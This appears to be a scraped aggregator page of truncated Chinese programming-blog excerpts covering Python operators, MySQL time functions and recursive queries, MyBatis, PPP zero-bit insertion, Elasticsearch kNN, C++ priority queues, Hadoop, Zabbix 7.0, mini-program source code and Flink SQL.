目录 算数运算符 赋值运算符 关系运算符 逻辑运算符 位运算符 成员运算符 运算符优先级 易错点&#xff1a; 算数运算符 赋值运算符 关系运算符 int可以转换成float 逻辑运算符 可以是一个运算也可以是一个字符串 左边为空格&#xff0c;为假&#xff0c;输出为空 优…

MySQL中获取时间的方法

大家好&#xff0c;在MySQL数据库开发中&#xff0c;获取时间是一个常见的需求。MySQL提供了多种方法来获取当前日期、时间和时间戳&#xff0c;并且可以对时间进行格式化、计算和转换。 以下是一些常用的MySQL时间函数及其示例&#xff1a; 1、NOW()&#xff1a;用于获取当前…

Mysql:通过一张表里的父子级,递归查询并且分组分级

表&#xff1a;gc_jzst_single_base 需求&#xff1a;要求返回这张表里符合条件的数据&#xff0c;且有父子级关系的&#xff0c;展示为同一组且分级&#xff0c;给后续业务调用 代码 WITH RECURSIVE t1 AS (SELECTsingle_id,old_build_single_id,single_name,bulid_code,1 A…

Mybatis Map接收数据tinyint(1)类型错误

Mybatis Map接收数据tinyint 1 类型错误 问题描述数据库字段Mybatis查询语句问题处理方案一方案二方案三 问题描述 Mybatis开发过程中&#xff0c;使用Map接收返回数据时发现tinyint(1)类型字段自动转换成了Boolean类型&#xff0c;导致查询的数据出现问题 数据库字段 数据库…

实验四、零比特插入《计算机网络》

但凡这句话有一点用的话也不至于一点用都没有。 目录 一、实验目的 二、实验内容 三、实验小结 一、实验目的 掌握零比特插入原理及方法使用任意编程语言实现零比特插入方法。 二、实验内容 掌握零比特插入原理及方法 点对点协议 PPP&#xff08;Point-to-Point Protoco…

Elasticsearch:基于多个 kNN 字段对文档进行评分

作者&#xff1a;来自 Elastic Madhusudhan Konda 通过具有多个 kNN 字段的最接近的文档对文档进行评分 Elasticsearch 不仅仅是一个词法&#xff08;文本&#xff09;搜索引擎。 Elasticsearch 是多功能搜索引擎&#xff0c;除了传统的文本匹配之外&#xff0c;还支持 k 最近…

【C++】优先级队列介绍与模拟实现

&#x1f49e;&#x1f49e; 前言 hello hello~ &#xff0c;这里是大耳朵土土垚~&#x1f496;&#x1f496; &#xff0c;欢迎大家点赞&#x1f973;&#x1f973;关注&#x1f4a5;&#x1f4a5;收藏&#x1f339;&#x1f339;&#x1f339; &#x1f4a5;个人主页&#x…

Hadoop3:MapReduce之InputFormat数据输入过程整体概览(0)

一、MapReduce中数据流向 二、MapTask并行度 1、原理概览 数据块&#xff1a;Block是HDFS物理上把数据分成一块一块。数据块是HDFS存储数据单位。 数据切片&#xff1a;数据切片只是在逻辑上对输入进行分片&#xff0c;并不会在磁盘上将其切分成片进行存储。数据切片是MapRed…

哇噻,Zabbix7.0 LTS正式发布!功能又进化了!

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、My…

全平台自定义小程序源码系统 一个后台控制7端 自主设计属于你的小程序 前后端带完整的安装代码包以及搭建教程

系统概述 在当今数字化时代&#xff0c;小程序以其轻量级、跨平台、即用即走的特点&#xff0c;成为企业、个人及开发者们追捧的热门工具。为了满足不同用户的需求&#xff0c;小编给大家分享一款全平台自定义小程序源码系统。该系统通过一套强大的后台管理系统&#xff0c;实…

游泳预约报名小程序开发源码案例模板之前端功能介绍

越来越多游泳馆使用线上预约报名管理系统&#xff0c;以此来提升游泳馆预约的便捷性以及管理的效率。馆客多小程序是一款实用、便捷的线上运动服务平台&#xff0c;可以让用户轻松预订游泳馆场地并享受自助线上服务&#xff0c;同时也减轻了游泳馆运营压力&#xff0c;提高游泳…

XLA - 加速线性代数

文章目录 一、关于 XLAXLA目标XLA 运作方式 二、Community沟通渠道其他资源存储库 一、关于 XLA XLA : Accelerated Linear Algebra github : https://github.com/openxla/xlaOpenXLA Community : https://github.com/openxla/communityXLA - TensorFlow : https://tensorflo…

Flink SQL查询语法部分详解(提供需求、数据练习复现)

一、Hints 动态表选择&#xff1a;可以在查询表的时候动态修改表的参数配置 1、读取kafka的数据建表 CREATE TABLE students (id STRING,name STRING,age INT,sex STRING,clazz STRING ) WITH (connector kafka,topic students, -- 指定topicproperties.bootstrap.servers …